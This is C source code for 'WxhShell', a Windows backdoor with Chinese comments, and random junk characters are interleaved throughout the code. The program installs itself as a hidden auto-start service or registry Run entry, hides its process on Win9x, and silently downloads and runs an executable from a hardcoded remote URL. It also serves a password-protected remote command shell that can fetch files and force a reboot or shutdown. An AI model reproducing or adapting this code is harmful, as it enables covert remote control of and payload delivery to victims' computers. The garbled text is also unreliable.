z-g6d ( PROCESS_BASIC_INFORMATION pbi; ;1nXJ{jKw Y9vi&G?Jl HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iCh8e>+ if(NULL == hInst ) return 0; rLmc(-q ~!7x45(1# g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]>k8v6*= g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ycOnPTh NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #<sK3 PT '|5o(6u' if (!NtQueryInformationProcess) return 0; y x#ub-A8 ev+H{5W8 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h?B1Emlq if(!hProcess) return 0; l. l)w EowzEGq!a5 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B^GMncZO ~Jw84U{$ CloseHandle(hProcess); 3K/tB1 |F<iu2\ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mSZg;7DE3* if(hProcess==NULL) return 0; <u0}&/ ?vI2mra+ HMODULE hMod; o~"Y_dLsW char procName[255]; 5_L,7\5# unsigned long cbNeeded; vZ$E
[EG} VGxab;#,:3 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sN?Rx} ?YV#
K CloseHandle(hProcess); `T7TWv"M `l.bU3C if(strstr(procName,"services")) return 1; // 以服务启动 /0fsn_ ;E.f% return 0; // 注册表启动 n$7*L9)(C } NW3qs`$-( 8+".r2*_iO // 主模块 fB,eeT1v?h int StartWxhshell(LPSTR lpCmdLine) $ywROa] { 9b,0_IMHH SOCKET wsl; J:ka@2>| BOOL val=TRUE; ,2 W=/,5A int port=0; <]|HGc struct sockaddr_in door; .q4$)8[Pg 9Hb|$/FD if(wscfg.ws_autoins) Install(); {.KD#W
$5 P2C>IS port=atoi(lpCmdLine); P{_%p<:V *vIP\NL?H if(port<=0) port=wscfg.ws_port; 2*#i/SE_ PN<VqtW WSADATA data; EfpMzD7/( if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ij =NcP wpi$-i` if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; P6ktA-Hv> setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LayK&RwL door.sin_family = AF_INET; 4(oU88z door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;~d$OM door.sin_port = htons(port); >#l:]T S+-$Ih`[ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =h|cs{eT\2 closesocket(wsl); Zby3.=.e return 1; CQa8I2VF
( } cjO%X .sM,U if(listen(wsl,2) == INVALID_SOCKET) { x{K"z4xbI closesocket(wsl);
dtfOFag4_ return 1; IO=$+c } $_TS]~y4} Wxhshell(wsl); UF }[%Sa WSACleanup(); =2QP7W3mg< :&'jh/vRN return 0; 9y5JV3 RjO0*$>h } !7)#aXt& ANM=:EtP // 以NT服务方式启动 /QVwZrch VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K\8zhY { U:3OE97 DWORD status = 0; 33D2^Sf6" DWORD specificError = 0xfffffff; =mPe
wx' )X|)X,~+- serviceStatus.dwServiceType = SERVICE_WIN32; `zw % serviceStatus.dwCurrentState = SERVICE_START_PENDING; CnZEBAU serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5$Kj#9g-# serviceStatus.dwWin32ExitCode = 0; M<NY`7$^ serviceStatus.dwServiceSpecificExitCode = 0; 6<QC|>p serviceStatus.dwCheckPoint = 0; t6mv serviceStatus.dwWaitHint = 0; d6JW" qz3
Z'
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); chKEGosbF if (hServiceStatusHandle==0) return; "p|.[d UA2KY}pz5 status = GetLastError(); 5~jz| T}s if (status!=NO_ERROR) U] GD6q { 4pQf*l8e serviceStatus.dwCurrentState = SERVICE_STOPPED; n=F
r v*"Z serviceStatus.dwCheckPoint = 0; zy"k b serviceStatus.dwWaitHint = 0; L]!![v.VY serviceStatus.dwWin32ExitCode = status; #ley3rJW] serviceStatus.dwServiceSpecificExitCode = specificError; !!V1#?0jw SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8Q)|8xpYS return; w $-q& } {7]maOg>7J pmWy:0 R serviceStatus.dwCurrentState = SERVICE_RUNNING; /J/V1dC}]D serviceStatus.dwCheckPoint = 0; ]d7A|)q serviceStatus.dwWaitHint = 0; 8Yf*vp>T/x if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (s&]V49 } OPj NmdeS DmPsE6G} // 处理NT服务事件,比如:启动、停止 pOn &D VOID WINAPI NTServiceHandler(DWORD fdwControl) hxM{}}.E { b)e;Q5Z(. switch(fdwControl) _kMHF { YVgH[-`, case SERVICE_CONTROL_STOP: 5XB]p|YU~s serviceStatus.dwWin32ExitCode = 0; \#VWZ\M8a serviceStatus.dwCurrentState = SERVICE_STOPPED; _
A#lyp serviceStatus.dwCheckPoint = 0; FJCORa@?_ serviceStatus.dwWaitHint = 0; GK1nGdT] { Y*\h?p[, SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8IxIW0 } ~xsJML return; "JLE case SERVICE_CONTROL_PAUSE: 3BD&;.<r serviceStatus.dwCurrentState = SERVICE_PAUSED; [r3sk24 break; Eri007? D case SERVICE_CONTROL_CONTINUE: $%"hhju serviceStatus.dwCurrentState = SERVICE_RUNNING; An0N'yo"Z break; '\op$t/ case SERVICE_CONTROL_INTERROGATE: w2X HY>6]; break; z[<Na3] }; Bt,'g*Cs SetServiceStatus(hServiceStatusHandle, &serviceStatus); s5mJ
- }
3F!)7 *c/V('D/ // 标准应用程序主函数 m;{HlDez int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $MwBt { fmQif]J;; FGyrDRDwC // 获取操作系统版本 p_&B+
<z OsIsNt=GetOsVer(); x7<l*WQ GetModuleFileName(NULL,ExeFile,MAX_PATH); \mJR^t W'"?5} ( // 从命令行安装 )uo".n|n~B if(strpbrk(lpCmdLine,"iI")) Install(); 3%GsTq2o $|J+ // 下载执行文件 7 L,`7k| if(wscfg.ws_downexe) { 7#G!es if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Et(H6O8 WinExec(wscfg.ws_filenam,SW_HIDE); j
nSZ@u } H'/V<% /j$pV if(!OsIsNt) { @sZ7Ka // 如果时win9x,隐藏进程并且设置为注册表启动 X@tA+ HideProc(); I(7iD. ^: StartWxhshell(lpCmdLine); RHNAHw9 } s[h;9
I1w else ftPhE)i if(StartFromService()) ^lZ7% 6 // 以服务方式启动 pKj:)6t" StartServiceCtrlDispatcher(DispatchTable); ip}%Y6Wj else h?OSmzRLd // 普通方式启动 biS[GyQ StartWxhshell(lpCmdLine); /<$|tp\Rc c!wRq4 return 0; JBJ?|}5k4c } u?MhK#Mr ~aQR_S C6a- 85[
7lO)[ =========================================== ~Y*.cGA Ank_;jo dz/fSA Cu24xP` : fYfXm }wvR s5;o " Gsy>"T{CY |IzL4>m:; #include <stdio.h> L/WRVc6 #include <string.h> iM:-750n/ #include <windows.h> G:lhrT{ #include <winsock2.h> ps,Kj3^T< #include <winsvc.h> zZRLFfz<9 #include <urlmon.h> tB`"gC~ f-[.^/ #pragma comment (lib, "Ws2_32.lib") Ps\4k#aOv #pragma comment (lib, "urlmon.lib") R_GA`U\ { -X%twy= #define MAX_USER 100 // 最大客户端连接数 U"Bge\6x= #define BUF_SOCK 200 // sock buffer 8,vP']4r% #define KEY_BUFF 255 // 输入 buffer fSVM[ hslT49m> #define REBOOT 0 // 重启 lV4TFt, #define SHUTDOWN 1 // 关机 7SYe:^Dx d#bg(y\G| #define DEF_PORT 5000 // 监听端口 %P<fz1 h,BPf5\S #define REG_LEN 16 // 注册表键长度 $t"QLsk0 #define SVC_LEN 80 // NT服务名长度 +N+117m mr#.uhd.z // 从dll定义API Fec4 #}| typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^z,B}Nz typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S["r
@< typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
ip{b*@K typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XfMUodV-OZ <'sm($.2 // wxhshell配置信息 %_p]6doF
struct WSCFG { h]z 8.k2n int ws_port; // 监听端口 ,H/O"%OJ char ws_passstr[REG_LEN]; // 口令 rOEBL|P0 int ws_autoins; // 安装标记, 1=yes 0=no
:KG=3un] char ws_regname[REG_LEN]; // 注册表键名 tCR~z1 char ws_svcname[REG_LEN]; // 服务名 m3P7*S5NJ7 char ws_svcdisp[SVC_LEN]; // 服务显示名 ,f,+) C$ char ws_svcdesc[SVC_LEN]; // 服务描述信息 b.[9Adi > char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }.9a!/@Aj int ws_downexe; // 下载执行标记, 1=yes 0=no \vV]fX char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u6l)s0Q char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $[MAm)c:]{ KOXG=P0 }; &K[~Ab_ Bv3B|D&+ // default Wxhshell configuration `H*mQERb struct WSCFG wscfg={DEF_PORT, +=|%9% "xuhuanlingzhe", 4A(h'(^7A 1, Tw`dLK? "Wxhshell", &LB` "Wxhshell", Ic!x y "WxhShell Service", 2Y[n "Wrsky Windows CmdShell Service", Y*#TfWv: "Please Input Your Password: ", eA
Fp<2g 1, ?^7X2 u$nm "http://www.wrsky.com/wxhshell.exe", $w-@Oa*h9U "Wxhshell.exe" 7MJ\*+T|03 }; Ujvm|ml :cXN
Fu\C // 消息定义模块 MuzQz.C char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?g@X+!RB char *msg_ws_prompt="\n\r? for help\n\r#>"; =<aFkBX- char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u=~`5vA char *msg_ws_ext="\n\rExit."; E1Q#@*rX> char *msg_ws_end="\n\rQuit."; })uyq_nz char *msg_ws_boot="\n\rReboot..."; t&5 Ne ? char *msg_ws_poff="\n\rShutdown..."; ?-`&YfF
char *msg_ws_down="\n\rSave to "; OQ<;w ze5#6Vzd& char *msg_ws_err="\n\rErr!"; wCv9VvF` char *msg_ws_ok="\n\rOK!"; u:W/6QS 152s<lu1Z char ExeFile[MAX_PATH]; lm&^`Bn) int nUser = 0; 4u41M,nJQd HANDLE handles[MAX_USER]; I|;zGmg#k int OsIsNt; F,pKt.x la 0:jO5 SERVICE_STATUS serviceStatus; IFa~`Gf [ SERVICE_STATUS_HANDLE hServiceStatusHandle; xy&*s\=: wzoT!-_X // 函数声明 PX/^* int Install(void); K~3Y8ca int Uninstall(void); pg_H' 0R int DownloadFile(char *sURL, SOCKET wsh); ^AOJ^@H^> int Boot(int flag); B^R44j]3" void HideProc(void); ,v=pp; int GetOsVer(void); jMS>B)'TO int Wxhshell(SOCKET wsl); ( 'dbMH\O void TalkWithClient(void *cs); Tl]yl$ int CmdShell(SOCKET sock); w6Mv%ZO_ int StartFromService(void); TMsCl6dB int StartWxhshell(LPSTR lpCmdLine); tBl(E ^x^(Rk}| VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l)jP!k VOID WINAPI NTServiceHandler( DWORD fdwControl ); f$dIPt( fWs*u[S // 数据结构和表定义 Q4]Od{[ SERVICE_TABLE_ENTRY DispatchTable[] = N$:-q'hX { JlRNJ#h> {wscfg.ws_svcname, NTServiceMain}, WI&}94w {NULL, NULL} .VUnOdI }; eHd7fhW5 -GB,g=Dk // 自我安装 i;|I;5tC int Install(void) a gL@A { UFj!7gX ] char svExeFile[MAX_PATH]; DeT$4c*:[ HKEY key; ,TB$D]u8 strcpy(svExeFile,ExeFile); M&9urOa` Au(oKs< // 如果是win9x系统,修改注册表设为自启动 wPcEvGBN= if(!OsIsNt) { 7xG~4N<)] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %CgV:.,K RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MTNC{:Q RegCloseKey(key); @*=5a(# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d(b~s2\i RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U+E9l?4R RegCloseKey(key); n3-VqYUP return 0; 1O,8=,K2a } S>j.i } R)isWw4 } 6P,uy;PJ else { N:+d=G`x `YMd0* // 如果是NT以上系统,安装为系统服务 SdnO#J}{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BD^1V(
I/ if (schSCManager!=0) 2vsV:LS. { /?z3*x SC_HANDLE schService = CreateService 6'<[QoW]; ( G!%8DX5 schSCManager, J^<uo( wscfg.ws_svcname, 88?O4)c wscfg.ws_svcdisp, )24M?R@r SERVICE_ALL_ACCESS, ! gfd!R SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aS\$@41" SERVICE_AUTO_START, tB(~:"|8 SERVICE_ERROR_NORMAL, puMbB9) svExeFile, iY&I?o!Ch NULL, E8p,l>6(f NULL, Mk+G(4p NULL, +#< Z/ NULL, M1*bT@6 NULL H?xYS|
n ); 2\T\p<_20 if (schService!=0) @tD (<*f+ { m_`%#$s} CloseServiceHandle(schService); 'lu3BQvfh CloseServiceHandle(schSCManager); )Z['=+s% strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _G25$%/LU strcat(svExeFile,wscfg.ws_svcname); L<Z,@q` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Xw7'I RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); * >8EMq\^ RegCloseKey(key); I:UDEoQo return 0; vP? T } ~gNFcJuy } {0-rnSjC CloseServiceHandle(schSCManager); rcY &n^: } l~DIV$>,Z } S3E5^n\\ $7i[7S4 return 1; 3Z&!zSK^ } mF jM6pmo AS;qJ)JfzQ // 自我卸载 |')PQ int Uninstall(void) ha 2=O { %:;g|PC HKEY key; P*VZ$bUe5@ zZ<* if(!OsIsNt) {
~vM99hW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }@tgc?CD RegDeleteValue(key,wscfg.ws_regname); jh`[Y7RJO RegCloseKey(key); uhp.Yv@c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?.H]Y&XF RegDeleteValue(key,wscfg.ws_regname); ={N1j<%fh RegCloseKey(key); .V3e>8gw3 return 0; W}MN-0 } BfVh\lkH } BpYxH#4 } ,wBfGpVb else { Zzz94` <1<xSr SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A=p'`]Yld if (schSCManager!=0) \4C[<Gbx$( { u|.7w2 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u*,>$(-u if (schService!=0) `<M>"~W { RgQs`aI if(DeleteService(schService)!=0) { _:p-\Oo. CloseServiceHandle(schService); J.M&Vj: CloseServiceHandle(schSCManager); s;*
UP return 0; -V[x
q } R<{Vgy CloseServiceHandle(schService); ;z N1Qb } +{I" e,Nk CloseServiceHandle(schSCManager); %%>nM'4< } $AE5n>ZD$ } b(Tvc (j?? return 1; +8itP> } FU>KiBV# -)}Z
$;1a // 从指定url下载文件 `.3@Ki~$# int DownloadFile(char *sURL, SOCKET wsh) B.~]
7H5"( { ; D/6e6 HRESULT hr; dl6U]v= char seps[]= "/"; dt+r P% char *token; hh*('n>[ char *file; h&}iH char myURL[MAX_PATH]; i.`n^R;N char myFILE[MAX_PATH]; 150-'Q N
fG9a~ strcpy(myURL,sURL); $u yx token=strtok(myURL,seps); '=#fELMW while(token!=NULL) U"+W)rUd { G
:k'm^k file=token; 6pbCQ
q token=strtok(NULL,seps); ,u PcQ } $j<KXR voN~f> GetCurrentDirectory(MAX_PATH,myFILE); m_@XoS
yxI strcat(myFILE, "\\"); 0< vJ*z|_ strcat(myFILE, file); !Hl] & send(wsh,myFILE,strlen(myFILE),0); l!&ik9m send(wsh,"...",3,0); 9q_{_%G% hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #ye`vD if(hr==S_OK) C c:<F_UI return 0; Sp:w _;{# else 4"(rZWv return 1; 1PUZB`"3 ,qv\Y] } L~Peerby -`* 'p i // 系统电源模块 m6n%?8t int Boot(int flag) 'Kbrz { wL="p) TO. HANDLE hToken; t&J A1|q TOKEN_PRIVILEGES tkp; seBmhe5qR >Bf3X&uS if(OsIsNt) { 2%`=
LGQC OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G:tY1'5 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /o 'lGvw tkp.PrivilegeCount = 1; y#iz$lX R tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f5Gn!xF AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xUsL{24 if(flag==REBOOT) { % ym};7'&b if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'o#oRK{# return 0; QRf>lZP } '6&o:t else { Zp~yemERr if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6WGg_x?3 return 0; mY4pvpZw8 } R)Arr77 } #O\as~- else { rlY0UA, if(flag==REBOOT) { >L2_k'uE+; if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SM4`Hys;p return 0; B\)Te9k' } TaBya0- else { DR}I+<*%aD if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _Tor9Tj return 0; nM2<u[{gF } Y'iyfnk } Xi[]8o n>j2$m1[ return 1; :e;6oC*"q } DlE, aYB $">j~! ' // win9x进程隐藏模块 nf 8V:y4 void HideProc(void) FrXP"U}Y { Nn FR; R2sG'<0B0 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [B)! if ( hKernel != NULL ) 5 k3m"* { /u4RZ|&as pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C`g
"Mk8 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3rH}/`d4 FreeLibrary(hKernel); @GQfBV|3 } I\k<PglRA jL"V0M]c return; s~A-qG> } Lxv 4w U\?D;ABQ% // 获取操作系统版本 49&i];:%7% int GetOsVer(void) +?o!"SJ { uo]xC+^ OSVERSIONINFO winfo; &3Zb? winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rBTg"^jsw GetVersionEx(&winfo); X_o#! if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VbvP!<8 return 1; T3{~f else /h+ W L return 0; dnoF)(d&Cm } K!&W} _@l z0<E3t // 客户端句柄模块 nZ(]WPIN" int Wxhshell(SOCKET wsl) CE`]X;#y { P>X[} SOCKET wsh; 1\m,8i+gU struct sockaddr_in client; l1DJ<I2 DWORD myID; =?6c&Z 2MRd while(nUser<MAX_USER) OVi<d { Ul_Zn int nSize=sizeof(client); Ol RXgJ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4@{cK| if(wsh==INVALID_SOCKET) return 1; d/Q#Z F~
5,-atDM handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3LLG#l)8 if(handles[nUser]==0) qS/}aDk& closesocket(wsh); u_^mN9h else IRm}?hHf nUser++; <@;}q^` }
|gO7`F2 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T(?w}i 0NU%z.(%s return 0; ~4\J}Kn } rn7eY +KV`+zic+ // 关闭 socket J?~El& void CloseIt(SOCKET wsh) ? -PRS.=% { W0&NX`m closesocket(wsh); ^b]h4z$ nUser--; "+iPeRF!hU ExitThread(0); "RH pj3 si } -#
[=1Y /[iqga= // 客户端请求句柄 Quy&CV{@ void TalkWithClient(void *cs) |Fk>NX { w]hs1vch Ccld;c&+ SOCKET wsh=(SOCKET)cs; ndn)}Z!0h char pwd[SVC_LEN]; _h2axXFhT char cmd[KEY_BUFF]; WKib$(%f6 char chr[1]; #MbkU]) int i,j; +,&8U&~` 0L_JP9e while (nUser < MAX_USER) { O9#8%p%
) _s/5oRHA if(wscfg.ws_passstr) { v&p|9C@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HrH-e=j //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5J^S-K^r //ZeroMemory(pwd,KEY_BUFF); 82.::J'e i=0; J|-X?V;ZW while(i<SVC_LEN) { x78`dX *UVo>; // 设置超时 [=[>1<L> fd_set FdRead; 59;p| struct timeval TimeOut; $^F
L*w FD_ZERO(&FdRead); UMN3.-4K# FD_SET(wsh,&FdRead); YL_M=h>P TimeOut.tv_sec=8; | N%?7PZ( TimeOut.tv_usec=0; fz[o;GTc int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kQ5mIJ9( if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LD]a!eY >YwvM=b"V if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ztcV[{[g pwd=chr[0]; n.&z^&$w\) if(chr[0]==0xd || chr[0]==0xa) { K}e%E&|> pwd=0; &eL02:[ break; $9!2c / } +ML4.$lc^ i++; }w{6Ua } [&e|:1 >?/Pl"{b // 如果是非法用户,关闭 socket cn62:p]5 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m5c?A+@fZ } %~eIx=s F7!g+LPc< send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,Jm2|WKH send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jlvh'y` '
U]\]Wp while(1) { x3j)'`=15 J:<mq5[ ZeroMemory(cmd,KEY_BUFF); .ME>ICA a<c]N:1 // 自动支持客户端 telnet标准 dux.Z9X? j=0; xeo5) while(j<KEY_BUFF) { u^HC1r|% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^U"$uJz!c cmd[j]=chr[0]; #NU@7Q[4 if(chr[0]==0xa || chr[0]==0xd) { P%VEJ5,]b cmd[j]=0; 6V{Sf9V| break; 77KB-l2 } 2a=3->D& j++; UoAHy%Y<% } ZqtL4M~9 GRM:o)4;# // 下载文件 vO>Fj if(strstr(cmd,"http://")) { ,sw|OYb send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?A4zIJ\ if(DownloadFile(cmd,wsh)) N|JML send(wsh,msg_ws_err,strlen(msg_ws_err),0); `fTH"l1zn else " Y%fk/v8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &B1j,$NRc } j<"@Y7 else { 4eFqD; LxdF;JCz: switch(cmd[0]) { #`Af pco:]3BF6 // 帮助 5;WESk case '?': { sfD@lW3 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SvTd#>ke break; ~Up5 +7k@ } -!o*A>N // 安装 N>pTl$\4 case 'i': { 2VpKG*!\ if(Install()) W&g |